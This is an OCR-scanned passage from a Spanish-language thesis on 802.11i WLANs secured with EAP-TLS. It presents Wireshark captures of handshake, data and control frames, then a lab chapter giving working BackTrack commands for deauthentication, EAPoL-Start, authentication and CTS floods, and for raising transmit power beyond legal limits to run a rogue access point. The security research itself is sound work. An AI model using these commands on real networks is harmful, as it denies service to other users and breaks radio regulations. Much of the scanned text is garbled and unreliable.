8584 489.301624000 WistronN 00:00:89 Apple eb:52:67 EAPOL 175 Key (Message 1 of 4)
8585 489.303827060 Apple_eb:52:67 WistronN 60:60:89 177 Key (Message 2 of 4)
8587 489.306581000 WistronN 00:00:89 Apple eb:52:67 EAPOL 209 Key (Message 3 of 4)
8588 489.309366000 Apple eb:52:67 WistronN 60:00:89 EAPOL 155 Key (Message 4 of 4)

“

-/ 882.1X Authentication
Version: 862.1X-2004 (2)
Type: Key (3)
Length: 117
Key Descriptor Type: EAPOL RSN Key (2)
= Key Information: 8x010a
............ .010 = Key Descriptor Version: AES Cipher, HMAC-SHA1 MIC (2)
Key Type: Pairwise Key
Key Index: @
e e .... = Install: Not set
........ 0... .... = Key ACK: Not set
........ Key MIC: Set
Secure: Not set
eer o0ee coee ees Error: Not set
os B coae aess Request: Not set
B = Encrypted Key Data: Not set
Key Lcnglh 16
Replay Counter: 2
WPA Key Nonce: d933c¢99db312ced2896f6980b7fcbfe7fe720¢6fc6f6cB4b, ..

900 00 0B 12 00 2e 48 00 00 10 02 99 09 20 00 ae 85 ..... Hev wevevnns
010 00 00 88 01 32 01 60 1b bl 00 00 89 28 6a ba eb  ....:... .... ..
920 52 67 08 1b bl 66 86 B9 70 00 00 OB aa aa 63 80 RQ...... Puvernns
930 00 00 88 8e 02 03 60 75 02 01 0a 00 10 00 00 60  ....... u ........

@40 __PA AR AR OB A2 d9 33 c9 9d b3 12 ce d2 89 Af A9 .. .. _ 3 .. oi
@ mono: <live capture in progress= F... - Packets: umolsplaye&asmmed:o

Figura. 128 Handshake Mensaje 2

b
"

3.4.3 Mensaje 3

El AP envia un numero de secuencia o contador (sn+7) junto con otro
MIC. Este numero de secuencia se usa en la siguiente trama de difusion, de
modo que el suplicante puede realizar la deteccion basica de repeticion. En
este paso el AP verifica que el suplicante tenga el mismo PTK.
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eapol
No.  Time Source Destination Protocol  Length Info
8584 489.30102400€ WistronN 60:00:89 Apple eb:52:67 EAPOL 175 Key (Message 1 of 4)
8585 489.303827000 Apple eb:52:67 WistronN 60:60:89 EAPOL 177 Key (Message 2 of 4)

B587 489.306581000 WistronN 00:00:89 Apple eb:52:67 209 Key (Message 3 of 4)
8588 489.309366000 Apple eb:52:67 WistronN_60:00:89 EAPOL 155 Key (Message 4 of 4)
e —
-/ 802.1X Authentication
Version: 862.1X-2004 (2)
Type: Key (3)
Length: 151
Key Descriptor Type: EAPOL RSN Key (2)
- Key Information: @x13ca
............ .810 = Key Descriptor Version: AES Cipher, HMAC-SHA1 MIC (2)
Key Type: Pairwise Key
Key Index: @
sses nese odas aus Install: Set
........ 1... .... = Key ACK: Set
....... 1.... «... = Key MIC: Set
Secure: Set
Error: Not set
. Request: Not set
eeel coue cees sese = Encrypted Key Data: Set
Key Length: 16
Replay Counter: 3
WPA Key Nonce: @9f65a8feb%aa5165e53a48b8699Bce7e4883cc9195e60d. . .

960 ©0 OO 12 00 2e 48 00 6 10 02 99 09 a0 00 b9 05 ..... Hev vevennns
910 ©0 00 08 02 32 01 28 62 ba eb 52 67 00 1b b1 8@ ....:.(j ..Rg...

920 ©6 89 06 1b bl 86 66 B9 60 B3 aa aa 03 00 00 60  ........ .
930 88 8e 02 03 00 97 62 13 ca 00 10 00 00 00 80 00  ........ ........
a48__0A HA A3 A9 f6 Sa Af eb 93 A5 16 Se 53 A4 Bb 86 .. 7. .S
@ mon0: <live capture in progress= F... - Packets: 13100 Displayed: 49 Marked: 0

Figura. 129 Handshake Mensaje 3
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3.4.4 Mensaje 4

El suplicante envia una confirmacion con el mismo contador (sn+1) al
autenticador sobre la recepcion del msg3. Todas los mensajes se envian
como tramas bajo el protocolo EAPoL (Extensible Authentication Protocol
over LAN).
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No. Time Source | Destination Protocol Length Info
8584 489.301024000 WistronN 00:006:89 Apple eb:52:67 EAPOL 175 Key (Message 1 of 4)
8585 489.303827000 Apple_eb:52:67 WistronN_60:00:89 EAPOL 177 Key (Message 2 of 4)
8587 489.306581000 WistronN 00:00:89 Apple eb:52:67 EAPOL 209 Key (Message 3 of 4)

8588 489.309366000 Apple eb:52:67 WistronN 00:00:89 EAPOL 155 Key (Message 4 of 4)

-/ 802.1X Authentication
Version: 862.1X-2664 (2)
Type: Key (3)
Length: 95
Key Descriptor Type: EAPOL RSN Key (2)
= Key Information: 8x036a
............ .016 = Key Descriptor Version: AES Cipher, HMAC-SHA1 MIC (2)
............ 1... = Key Type: Pairwise Key
.......... 80 .... = Key Index: @
veve wees W80 L. = Install: Not set
........ ... .... = Key ACK: Not set
....... 1 .... .... = Key MIC: Set
1. ..., .... = Secure: Set
0.. ..., .... = Error: Not set
s Biae cnee sase = Request: Not set
s0e@ cese os0e sase = Encrypted Key Data: Not set
Key Length: 16
Replay Counter: 3
WPA Key Nonce:

960 00 00 12 09 2e 48 0@ 6@ 10 02 99 09 aP 00 ab 0
910 00 00 88 01 32 01 66 1b bl 00 00 89 28 6a ba e
920 52 67 00 1b bl 66 86 B9 80 00 00 00 aa aa 03 O
930 00 00 88 8e 02 03 06 5f 02 03 0a 00 10 00 60 O
a40__HA_HA_OA_BA_A3 AG_AG_AA__AA AA_NA DA OA OA AO AB ... . ...
@ mon0: <live capture in progress= F... - Packets: 13434 Displayed: 49 Marked: 0

Figura. 130 Handshake Mensaje 4

- SR Hee covecnes

oo
=
U~}

3.5 Etapa 5: Tramas de Datos / Secure Data Communication

La trama de datos (37) se establece una vez que la comunicacion se ha
establecido entre el suplicante y el autenticador al completar las etapas
anteriores. Esta trama transporta informacion de capas superiores como por

ejemplo paginas web, etc.
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wlan.fc.type_subtype==0x20

No.  Time ‘Source Destination Protocol Length Info
582 31.546574000 Apple eb:52:67 Broadcast 802.11 398 Data, SN=608, FN=0,
e —— e
|—| IEEE 862.11 Data, Flags: .p....F.C -
Type/Subtype: Data (0x20)
[=| Frame Control: 8x4208 (Normal)

Version: ©
Type: Data frame (2)
Subtype: 0
(=] Flags: ex42
...... 10 = DS status: Frame from DS to a STA via AP(To DS: © From DS: 1) (6x02)
. .0.. = More Fragments: This is the last fragment

ve.. 0... = Retry: Frame is not being retransmitted

...0 ..., = PWR MGT: STA will stay up

..0. .... = More Data: No data buffered

.1.. .... = Protected flag: Data is protected

O... ... = Order flag: Not strictly ordered
Duration: ©

Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
BSS Id: WistronN 00:00:89 (00:1b:bl:00:00:89)
Source address: Apple eb:52:67 (28:6a:ba:eb:52:67)
Fragment number: ©
Sequence number: 668

\E\ Frame check sequence: @x6be3cb93 [correct]

[+] CCMP parameters

|—| Data (344 bytes)

Data: f2828d3626da72e939a8e564c773711b92fb5d7d21707912. ..
60 00 12 60 2e 48 00 60 10 62 99 €9 ab 60 b8 O
00 00 08 42 00 @0 ff ff ff ff ff ff 00 1b bl ©
00 89 28 6a ba eb 52 67 00 26 27 60 0O a0 60 O
00 00 2 82 8d 36 26 da 72 €9 39 a8 e5 64 c7 73@N.....

GELIAN7] 1b 92 fb 5d 7d 21 70 79 2 3d 75 69 bc 95 e q...]1}!p y.=ui...
cIN:MMAT ca c2 30 a7 78 49 Oc 52 o7 Af f1 87 fe 23 h C_S ¥ _Ro &

@ * Frame (frame), 398 bytes = Packets: 14704 Displayed: 155 Marked: 0 Load time: 0:00.379
Figura. 131 Data Frame

3.6 Tramas de Control

Las trama de control ayudan en el intercambio de tramas de
Administracion y Datos. Estas tramas, administran el acceso al medio
inaldmbrico y proporcionan funciones de fiabilidad a nivel de la capa de

enlace.

3.6.1 Request-to-Send (RTS)

La funcion RTS junto con la CTS (Clear-to-Send) reducen las colisiones
de las tramas presentes cuando existe una conexiéon con un mismo AP. Una
estacion envia una trama RTS / CTS a otra como la primera fase de un

enlace de dos vias necesario antes de enviar cualquier trama de datos.
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'=| IEEE 802,11 Request-to-send, Flags: ........
Type/Subtype: Request-to-send (8x1b)
= Frame Control: 6x80B4 (Normal)
Version: @
Type: Control frame (1)
Subtype: 11
|=| Flags: ox@

...... 060 = DS status: Not leaving DS or network is operating in AD-HOC mode (To DS: © From DS

. .B.. = More Fragments: This is the last fragment
. 8... = Retry: Frame is not being retransmitted

...0 ... « PWR NGT: STA will stay up

..8. .... = More Data: No data buffered

.0.. .... = Protected flag: Data is not protected

.. aias = Order flag: Not strictly ordered
Duration: 1964

Receiver address: Apple_eb:52:67 (28:6a:ba:eb:52:67)
Transmitter address: a6:8e:8c:79:8e:35 (a6:8e:6c:79:8e:35)

0000 b4 80 ac 67 28 6a ba eb 52 67 a6 8e Oc 79 Be 35 ....()..

Rg...y.5

@ *7 File: "/root/BBB-01.cap” 40 MB 06:... - Packets: 116153 Displayed: 2477 Marked: 0 Load time: 0:00.660
Figura. 132 Request to Send Frame
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No. Time Source Destination Protocol Length Info
1826 326.769115 Apple eb:52:67 (RA) 882.11 16 Clear - to-send,

+| Frame 1826: 10 bytes on wire (39 bits). 16 bytes captured (86 bits)
- IEEE 802.11 Clear-to-send, Flags: ...P....
Type/Subtype: Clear.to.send (Oxlc)
- Frame Control: @x10C4 (Normal)
Version: &
Type: Control frame (1)
Subtype: 12
-| Flags: Gx16
...... 08 « DS status: Not leawing DS or network 15 operating in AD-MOC mode (To DS5: @ From DS: 8) (B8xB8)
0.. = More Frageents: This is the last fragment
veee B... =« Retry: Frame 15 not being retranssitted
ool Lo = PWR NGT: STA will go to sleep
0, ..., = More Data: No data buffered
.0.. .... = Protected flag: Data 15 not protected
Qies oo = Order flag: Not strictly ordered
Duration: 10000
Receiver address: Apple eb:52:67 (28:6a:ba:ed:52:67)

10000 c4 10 10 27 28 Ga ba eb 52 67 «e.'(3.. Rg

O File: "Jroot/AAA-01.cap" 150 KB 00:... - Packets: 1878 Displayed: 1 Marked: 0 Load time: 0:00.016
Figura. 133 Clear to Send Frame

3.6.2 Acknowledgment (ACK)

Después de recibir una trama de datos, la estacion receptora utilizara
una comprobacién de errores. La estacion receptora entonces envia una
trama ACK a la estacion emisora si no se encuentra ningun error. En caso
de que existiera un error, no se envia la trama ACK, con lo que después de

un periodo de tiempo, la estacién de envio retrasmitira esta trama.
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+| Frame 203: 46 bytes on wire (368 bits). 46 bytes captured (363 bits)
|+ PPI version 0, 32 bytes
= TEEE 892.11 Acknowledgement, Flags: ........C
Type/Subtype: Acknowledgement (Owxld)
(= Frame Control: @x8604 (Normal)
Version: 8
Type: Control frame (1)
Subtype: 13
(=] Flags: oud
...... 86 = DS status: Not leawing DS or network 1s operating in AD-HOC sode (To DS: & From DS: 6) (6x66)
.0.. = More Frageents: This 1s the last fragment

. 0... = Retry: Frame is not being retranssitted
B ... = MR MNGT: STA will stay up
.00 ... = More Data: No data buffered
.0.. .... = Protected flag: Data 1s not protected
0... .... = Order flag: Not strictly ordered
Duration: @

Receiver address: Apple eb:52:67 (28:6a:ba:ed:52:67)
(% Frame check sequence: 0x60f52e01 [correct]

0000 200065000000 0200 1400 M 0000 .. .1... ........
10 00 00 00 00 01 00 30 00 76 09 OGO W W ce 00 ...... 0. Viieaaas
d4 00 00 00 28 Ga ba eb 52 67 60 15 2¢ 01 .().. Rg

Figura. 134 Acknowledgement Frame
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CAPITULO IV

ESCENARIO DE PRUEBA INTRUSIVO

Con el fin de realizar el estudio de vulnerabilidades es importante
analizar las posibles capacidades de cualquier hacker o adversario. A partir
de la capa de enlace de una WLAN, existen tres posibles tipos de tramas
que ya han sido analizadas en el escenario de prueba normal, estas son:
Administracion, Control y Datos. Como se demuestra en este capitulo,
cualquier manipulacion de estas tramas puede comprometer Ila

confidencialidad, integridad y autenticacion.

Los diferentes ataques en el presente capitulo fueron realizados sobre el
escenario que se ha implementado y cuyo comportamiento ha sido descrito
en capitulos anteriores. Estos escenarios de prueba se encuentran en un
modelo de red de infraestructura bajo el estandar 802.77/ y un mecanismo
de autenticacion EAP-TLS, considerado el mas seguro y robusto en
comparacién a otros mecanismos EAP existentes. EAP-TLS se encuentra
analizado a profundidad y no ha podido ser demostrado o evidenciado
deficiencias graves dentro del protocolo tales como vulnerabilidades a
ataques MITM, esto gracias a su caracteristica principal que, como norma
para realizar la autenticacién y el establecimiento del tunel cifrado, debe
existir un intercambio de certificados digitales, es decir que, el servidor envia
su certificado hacia el cliente y de forma reciproca, el cliente envia el
certificado hacia el servidor. Cabe sefnalar que el certificado del cliente debe
ser instalado previamente y debe estar protegido por una contrasefia. Cada
uno de los certificados debid haber sido firmado por la misma entidad, de no
ser asi, seran rechazados y la conexidon no sera establecida. Si bien el

proceso de autenticacion de EAP-TLS lo define como el protocolo mas
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seguro en la proteccion de confidencialidad y autenticacidon, sigue siendo

vulnerable a ataques de denegacion de servicios (DoS).

El protocolo de autenticacion TLS presenta una desventaja para la
implementacion ya que para redes de media o gran escala la instalacién y

distribucion de los certificados se torna en un proceso tedioso y complicado.

4.1 Amenaza 1: Analisis de trafico Pasivo

Debido a la caracteristicas de comunicacion inalambrica, un adversario
puede facilmente esnifar la red con herramientas como Wireshark y obtener
informacion que puede ser almacenada y posteriormente analizada para
revelar claves de cifrado o informacion sobre la red WLAN. Los ataques
pasivos son dificiles de detectar, esto por cuanto no se realiza ninguna
modificacion de los datos o paquetes trasmitidos pero aporta valiosa
informacion de la red. Cuando se realiza intercambio de informacioén, tanto el
emisor como receptor no son conscientes del monitoreo de un tercero en su
intercambio. La informacién que se captura al realizar una esnifada son las

tramas que se han venido estudiando: Control, Administracion y Datos.

Utilizando BT5 se puede visualizar esta informacion de la siguiente

manera:

>>root@bt:~#airmon-ng start wlan0

>>root@bt:~#airodump-ng mon0
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A v X root@bt: ~
File Edit View Terminal Help

7 ]‘ Elanced: 24 < 1t

Figura. 135 airodump-ng mon0

Para almacenar la informacion que se captura en un archivo formato

.cap de un AP especifico, se pone el siguiente comando:

>>root@bt:~#airodump-ng -¢ (CH) -w (nombre del archivo) --bssid
(BSSID) mon0

4.2 Amenaza 2: Denegacién de Servicios (DoS)

El estandar 802.11i con EAP-TLS es vulnerable a los ataques DoS
(Denial-of-Service). El atacante de denegacion de servicio es capaz de
interrumpir la conexidn legitima de suplicantes con el autenticador por medio
de las caracteristicas propias de las redes inalambricas, un atacante por
ejemplo puede denegar servicios mediante la falsificacion de tramas de

Administracion no protegidas como las de deautenticacion. En este capitulo,
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se consideran ataques de DoS de uso frecuente que requieren un esfuerzo

razonable y no elaborado por parte del adversario para su analisis.
4.2.1 Inundacién EAPoL-Start

El protocolo 802.7x como se ha estudiado anteriormente, comienza con
una trama EAPOL-Start que es enviada por el cliente para iniciar la
autenticacion y continua con la respuesta del AP al enviar una trama EAP
Request Identity. Un atacante interrumpira un Access Point al inundarlo con
tramas EAPoL — Start para agotar los recursos internos del punto de acceso.

Este ataque se puede lograr en BT5 al utilizar el siguiente comando:

>>root@bt:~# mdk3 mon0O x 0 -t (BSSID) —n (ESSID) —s (Speed-
Paquetes/s) —c (CH)

v X root@bt: ~
Edit View Terminal Help
3 X 0 -t 00:1B:81:00:00:89 -r

CKets/sec
AP f

entication'f

authentication fra

Figura. 136 mdk3 mon0O x

A continuacién se ve la captura de las tramas tipo EAPOL - Start
generadas a través de Wireshark con el objetivo de agotar los recursos del

APy obligar a este equipo su reseteo. Se evidencia en el Source, la creacion
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de direcciones MAC aleatorias de suplicantes realizando peticiones de
tramas EAPOL - Start al punto de acceso.

s

No. \Time Source \ Destination \ Protocol \ Length \ Info
523628 742.387716000 SmcNetwo_e2:e9:3e WistronN 00:00:89 EAPOL 49 Start
523629 742.387728000 Agere 2d:2a:ec WistronN 00:00:89 EAPOL 49 Start
523630 742.387975000 SmcNetwo_e2:e9:3e WistronN 00:00:89 49 Start
523631 742.388578000 Agere 2d:2a:ec WistronN _00:00:89 EAPOL 49 Start
523632 742.389971000 SmcNetwo_e2:€9:3e WistronN 00:00:89 EAPOL 49 Start
523633 742.389983000 Agere 2d:2a:ec WistronN 00:00:89 EAPOL 49 Start
523634 742.390526000 SmcNetwo_e2:e9:3e WistronN _00:00:89 EAPOL 49 Start
523635 742.391108000 Agere 2d:2a:ec WistronN 00:00:89 EAPOL 49 Start
523636 742.391348000 SmcNetwo_e2:e9:3e WistronN _00:00:89 EAPOL 49 Start
523637 742.392693000 Agere 2d:2a:ec WistronN 00:00:89 EAPOL 49 Start
523638 742.393833000 Agere 2d:2a:ec WistronN 00:00:89 EAPOL 48 Start
523639 742.393904000 Cisco 21:fa:aa WistronN 00:00:89 EAPOL 49 Start

— e
[+| Radiotap Header v@, Length 13
\E\ IEEE 862.11 Data, Flags: ....... T
[+ Logical-Link Control
[=| 882.1X Authentication
Version: 862.1X-2001 (1)
Type: Start (1)
Length: ©

CECRNO0 00 6d 60 64 80 62 60 ©2 00 60 60 60 08 61 33
CE2ANe]1 60 1b bl 60 60 89 60 04 €2 e2 €9 3e 60 1b b
0020
0030

@ Frame (frame), 49 bytes = Packets: 554277 Displayed: 554277 Marked: 0 Dro... = Profile: Default
Figura. 137 Wireshark: Inundacién EAPOL — START

4.2.2 Inundacion Authentication

En el Access Point, cada cliente tiene su estado almacenado en la tabla
de asociacion. Este estado, tiene un limite de tamafo. Una forma de ataque
DoS es inundar esta tabla de asociacion al crear de forma aleatoria varias
tramas de Authentication Request desde MAC ficticias hacia el AP. El punto
de acceso al no poder verificar todas estas solicitudes alcanzara su limite y
al hacerlo, no podra autenticar clientes legitimos en el AP. Este ataque se lo

realiza con el siguiente comando:
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>>root@bt:~# mdk3 mon0 a 0 -t (BSSID) —n (ESSID) —s (Speed-
Paquetes/s) —c (CH)

.......

Figura. 138 mdk3 mon1 a

En Wireshark se aprecia la captura de las tramas de clientes con MAC
aleatorias solicitando un Authentication Request al AP. Nuevos intentos de
autenticacion con usuarios legitimos al punto de acceso no fueron exitosos

después de este ataque.
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| No. Time Source  Destination Protocol Length Info
15785 93.664123000 33:73:00:09:c4:10 WistrooN 00:00:89 sz 42 Authentication,
15786 93.671196000 97:04:01:9¢:08:22 WistroeN 00:00:89 43 Authenticatice,
15787 93.671477000 €c:c5:37:05:69:5 WistrooN 00:00:89 saz.11 42 Authentication,
15788 93.672635000 33:73:00:09:¢4:10 WistrooN 00:00:89 s 43 Authentication,
15789 93.672995000 42:ea:04:chbied:46 WistrooN 69:00:89 saz.1 42 Authentication,

R EEEEEE—S—S——N———————N———N—————————.
n Frame 15786: 43 bytes on wire (344 bits), 43 bytes captured (344 bits) on interface ©

+ Radiotap Meader v, Length 13
-~ IEEE 882.11 Authentication, Flags: ........
Type/Subtype: Authentication (OxBb)
= Frome Control: Gx0060 (Normal)
Version: @
Type: Management frame (0)
Sudtype: 11
& Flags: &
Duration: 314
Destination address: MWistrooN 00:00:89 (00:1b:01:00:00:89)
Source address: 91:a4:01:9%:e8:20 (97:04:01:9¢:¢8:2a)
BSS Id: WistronN ©9:00:89 (00:1b:b1:00:00:89)
Frageent nusber: @
Sequence nusber: 8
~ IEEE 802.11 wireless LAN manosgement frame
= Fixed parameters (6 bytes)
Authentication Algorithm: Open System (0)
Authentication SEQ: 0xD001
Status code: Successful (8x0000)

0200 020000000000 00 XN

DO 00 O6d 00 &4 80
J 9 97 a4 01 9¢ e8 2a 00 Ib b

@ Frame (frame), 43 bytes Packets: 757707 Displayed: 757707 Marked: 0 Dro... - Profile: Default
Figura. 139 Wireshark: Inundacion Authentication

Los ataques de inundacion EAPoL-Start y Authentication son ejemplos
de denegacion de servicio contra el autenticador. Ademas, la inundacién de

Authentication es manipulacion de la trama de administracion.
4.2.3 Inundaciéon CTS / RTS

El estandar 802.11 establece tramas de Control como Request to Send'y
Clear to Send para minimizar la posibilidad de colisiones al existir envié de

tramas extensas. En la siguiente figura se puede ver como funciona.
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iPhone 51i0S
MAC: 84:8E:0€8779:8E:35

(o]
-t
o

\ ‘;__,—A/‘," /
AP (Real)/OpenWrt
ESSID tesis14

MAC:.00°18:871-00°00/89 -
6‘6 Autenticador &

iPad/iOS ASUS/W7
MAC: 28:6A:BA:EB:52:67 MAC: AC:72:89:86:DF:C6

Figura. 140 CTS / RTS

En el caso en que el cliente (iPhone 5s) quiera realizar él envié al AP de
una trama extensa primero envia una peticion de RTS para reservar el canal
con el fin de evitar asi las colisiones. Entonces el punto de acceso responde
con una trama CTS que reserva el canal por el tiempo que dure el envio. La
trama CTS a su vez, se enviara a los demas clientes (iPad y ASUS)

dejandolos saber que solo el iPhone 5s puede trasmitir por ese tiempo.

Teniendo este concepto claro, la inundacion de CTS por parte de un
atacante impulsa a otros dispositivos inalambricos que comparten la red
WiFi a frenar su trasmisién hasta que el adversario deje de transmitir las
tramas CTS.

Para realizar este ataque, en BT5 se descarga la herramienta necesaria

y se la instala de la siguiente manera:

>>root@bt:~# wget http.//matej.sustr.sk/code/framespam/framespam-
0.2.tar.gz

>>root@bt:~# tar —xzvf framespam-0.2.tar.gz

>>root@bt:~# cd framespam-0.2
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>>root@bt./framespam-0.2# make && make install

luego seguimos con el ingreso de los comandos:

>>root@bt:~# arimon-ng start wlan0

>>root@bt:~# framespam —i mon0 < file

El “file” es un archivo .txt (frama CTS.txt) donde se ingresa la trama CTS

que se va a enviar. La trama Clear to Send es:

Frame
Control Duration Receiver Address
" ——— ———

|cal00]00 7D ] FCS

l\Flags

Type/Subtype
Figura. 141 trama CTS

En el archivo .txt uUnicamente la informacion de Ila trama:
\0304\0\0\0175\01\02\03\04\05\06

Se ignora el FCS (Frame Check Sequence) debido a que se calcula por

el hardware antes de enviarse.
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mes (delay 18600

Figura. 142 framespam —i mon0

Este ataque se ve en Wireshark como se muestra en la siguiente figura:
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Zr SelE

=

No. ITime [ Source | Destination [ Protocol [ Length I Info
327191 1722.893637000 WistronN 00:00:89 Broadcast 802.11 154 Beacon frame, SN=926,
327192 1722.904137000
327193 1722.915338000
327194 1722.925873000
327195 1722.939396000
327196 1722.949676000
327197 1722.959821000

327198 1722.970778000 33 Radiotap Capture v92,

33 Radiotap Capture v92,
33 Radiotap Capture v92,
33 Radiotap Capture v92,
33 Radiotap Capture v92,
33 Radiotap Capture v92,
33 Radiotap Capture v92,

EEEEEEQ

Frame 327192: 33 bytes on wire (264 bits), 33 bytes captured (264 bits) on interface @
(+| Radiotap Header v92, Length 12339
=
(=) [Expert Info (Error/Malformed): Malformed Packet (Exception occurred)]
[Message: Malformed Packet (Exception occurred)]

[Severity level: Error]
[Group: Malformed]

(LEAESc 30 33 30 34 5c 30 5c 30 5c 36 31 37 35 S5c 308EE\0364\6\ 6\0175\6
LIGAN3] S5c 30 32 5c 30 33 5c 30 34 5c 30 35 5c 30 36Q1\02\03\ 04\05\06
0020 [E g

@ Frame (frame), 33 bytes = Packets: 330088 Displayed: 330088 Marked: 0 ... - Profile: Default
Figura. 143 Wireshark: Inundacion CTS

Esta inundacion deja la red atacada totalmente sin respuesta, tanto el
cliente como el AP dejan de trasmitir.

4.2.4 Ataque de interferencia
Un atacante puede manipular la potencia (Tx-Power) de radio frecuencia
(RF) en el espectro de 2.4 GHz o 5 GHz al modificar la ganancia de una

antena. Para poder realizar este ataque, seguimos los siguientes pasos:

Se reinicia nuestra maquina virtual VM2 y no se conecta la tarjeta
AirPecap Nx. Se escribe el siguiente comando:

>>root@bt:~# tail —f —n 0 /var/log/messages
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Ahora se conecta la tarjeta AirPecap Nx y se obtiene la siguiente figura
que muestra los ajustes regulatorios aplicados en la tarjeta para Ecuador
(EC).

* root@bt: ~

Figura. 144 BTS5 tail —f —n para AirPcap Nx

Se pude ver que, para el espectro de 2.4 GHz se permite maximo 20
dBm debido a las regulaciones del pais. Sin embargo, este valor se puede
modificar para ventaja del atacante. La tarjetas AirPcap Nx promociona una
potencia de 1 Watt (30 dBm) por lo que se la llevara a ese nivel siguiendo
estos pasos:

Se escoge un pais donde las regulaciones del pais permitan transmitir
potencias de 1 Watt. En este caso se escoge Bolivia (BO) para configurar
nuestra tarjeta AirPcap Nx:

>>root@bt:~# iw reg set BO

Como se evidencia en la siguiente figura, se ha cambiado los niveles de

potencia maximo para el espectro de 5 GHz a 30 dBm.
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Para establecer el nivel de potencia (Tx-Power) a 30 dbm, escribimos el

siguiente comando:

>>root@bt:~# iwconfig wlan0 txpower 30

Al implementar un AP falso, el mejorar los niveles de potencia nos da
una ventaja sobre el AP legitimo, esto por cuanto se amplia el area de
cobertura y atrae la conexion o asociacion de clientes legitimos con el AP
(Falso).

Se inicia el AP falso como se vio en capitulos anteriores al iniciar el

hostapd en nuestra maquina virtual VM2.

>>root@bt:~# hostapd hostapd-2.0/hostapd/hostapd.conf

El archivo hostapd.conf ya esta pre configurado como esta detallado en
capitulos anteriores. Este archivo contiene toda la informacién que se obtuvo
de esnifar la red para simular ser el AP real, es decir, mismo ESSID
(tesis14), etc. Como el AP falso tiene mejores niveles de potencia. Esto
llevara a los clientes o suplicantes a conectarse con este equipo, logrando

asi un ataque exitoso de DoS.

En la siguiente figura se evidencia los clientes legitimos y AP (Real)

conectados.
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Figura. 146 AP (Real) y clientes legitimos asociados

Ahora se muestra en la figura los clientes legitimos que se asocian en el

AP (falso) debido al ataque de interferencia.
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*x root@bt: ~

t View Terminal Help

Figura. 147 AP (Falso) y clientes legitimos asociados

Los ataques de Inundacion CTS / RTS e interferencia son ejemplos de
denegacién de servicio contra la infraestructura. Ademas, la inundacion de
CTS /RTS es manipulacion de la trama de control.

4.2.5 Inundacién de Desautenticaciéon (Deauthentication)

Este ataque tiene como objetivo desvincular al cliente del punto de

acceso. Este ataque se vulnera la red con los siguientes comandos:

Para crear un DoS generalizado que des autentique todos los usuarios

del AP se pone:

>>root@bt:~# aireply-ng -0 5 —a (BSSID) mon0

Esto se muestra en la siguiente figura:
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Figura. 148 Deauthentication todos los usuarios

En Wireshark se puede ver las tramas suplantadas con la direccion MAC

del Access Point para des autenticar todos los clientes.
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No. Time Source Destination Protocol Length Info

.013312000 WistronN 00:00: Broadcast 3 Deauthentication,
5959 187.014032000 WistronN 00:00:89 Broadcast 8602.11 38 Deauthentication,
5960 187.015563000 WistronN 00:00:89 Broadcast 8602.11 39 Deauthentication,
5961 187.016182000 WistronN ©0:00:89 Broadcast 862.11 38 Deauthentication,
5962 187.017822000 WistronN 00:00:89 Broadcast 802.11 39 Deauthentication,
5963 187.018284000 WistronN 00:00:89 Broadcast 802.11 38 Deauthentication,
5964 187.020107000 WistronN 00:00:89 Broadcast 802.11 39 Deauthentication,
5965 187.020408000 WistronN 00:00:89 Broadcast 802.11 38 Deauthentication,
5966 187 .A222310ARAA WistronN _AA:AA:R93 Rroadcast 802.11 39 Deauthentication.

E]

E\ Frame 5958: 39 bytes on wire (312 bits), 39 bytes captured (312 bits) on interface @
(+| Radiotap Header v@, Length 13
E\ IEEE 862.11 Deauthentication, Flags: ........
Type/Subtype: Deauthentication (@x0c)
E\ Frame Control: ©x00C@ (Normal)
Version: @
Type: Management frame (0)
Subtype: 12
[+] Flags: exe
Duration: ©
Destination address: Broadcast (ff:ff:ff:ff:ff:ff)
Source address: WistronN 00:00:89 (00:1b:bl:00:00:89)
BSS Id: WistronN 00:00:89 (00:1b:b1:00:00:89)
Fragment number: ©
Sequence number: 629

0000 00 06 Od 6O 64 80 62 60 02 6O 60 60 60 cO 06 0O
0016 00 ff ff ff ff ff ff 60 1b bl 00 60 89 60 1b bl
0020 00 00 89 50 27 67 00

@ File: "/tmp/wireshark_mon0_20140... - Packets: 6561 Displayed: 1312 Marked... - Profile: Default
Figura. 149 Wireshark: Inundacion Deauthentication

En el caso en que se pretenda desautenticar un solo cliente del AP con
el fin de realizar un ataque DoS se hace uso del siguiente comando:

>>root@bt:~# aireply-ng -0 5 —a (BSSID) —c (MAC STATON) mon0O

En la siguiente figura se puede ver la ejecucion de este comando.
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Figura. 150 Deauthentication usuario especifico

A continuacion se puede visualizar la des autenticacion de un unico

usuario en Wireshark:
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RS vioncype_suiype==o0x |- | n—

No. Time Source Destination Protocol Length Info
2891 149.597759000 WistronN 00:00:89 Apple eb:52:67 38 Deauthentication,

2892 149.599920000 WistronN ©0:00:89 Apple eb:52:67 802.11 39 Deauthentication,

Frame 2891: 38 bytes on wire (304 bits), 38 bytes captured (304 bits) on interface @
+| Radiotap Header v@, Length 12
—| IEEE 8062.11 Deauthentication, Flags: ........
Type/Subtype: Deauthentication (@x0c)
—| Frame Control: ©x00CO (Normal)
Version: ©
Type: Management frame (©)
Subtype: 12
+| Flags: Ox@
Duration: 314
Destination address: Apple eb:52:67 (28:6a:ba:eb:52:67)
Source address: WistronN 00:00:89 (60:1b:bl1:00:00:89)
BSS Id: WistronN 00:00:89 (00:1b:bl:00:00:89)
Fragment number: ©
Sequence number: 6
+| IEEE 802.11 wireless LAN management frame

GLEINO0 00 6c 60 64 80 60 66 62 60 18 60 cb 00 3a O
CLICENO8 6a ba eb 52 67 60 1b bl 60 66 89 66 1b bl 66 | P
CLrINO0 89 60 00 67 66

@ Frame (frame), 38 bytes Packets: 4542 Displayed: 1310 Marked... = Profile: Default
Figura. 151 Wireshark: Deauthentication usuario especifico

El ataques de des autenticacion es un ejemplo de denegacion de

servicio contra el cliente manipulando la trama de administracion.

4.3 Amenaza 3: Implementacion incorrecta del método EAP-TLS

Como se ha explicado anteriormente, el estandar 802.71i con EAP-TLS
es uno de los protocolos mas seguros en la actualidad. Sin embargo, este
estandar puede ser vulnerado por una mala practica por parte del usuario o
el administrador de red. Esta fragilidad se da cuando el usuario desconoce el
modo adecuado para autenticar sus equipos terminales en la red. En el caso
del administrador, el principal factor que pone en riesgo a la seguridad de la
red es debido a que para establecer el tunel EAP-TLS se debe instalar los
certificados en cada uno de los equipos terminales y el administrador puede

obviar este paso por comodidad o falta de recursos.
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Al realizar el analisis del escenario de prueba normal, se evidencia la
existencia de un mensaje (EAP Request Start PEAP) que puede ser
protagonista de una vulnerabilidad si no se implementa de forma correcta el
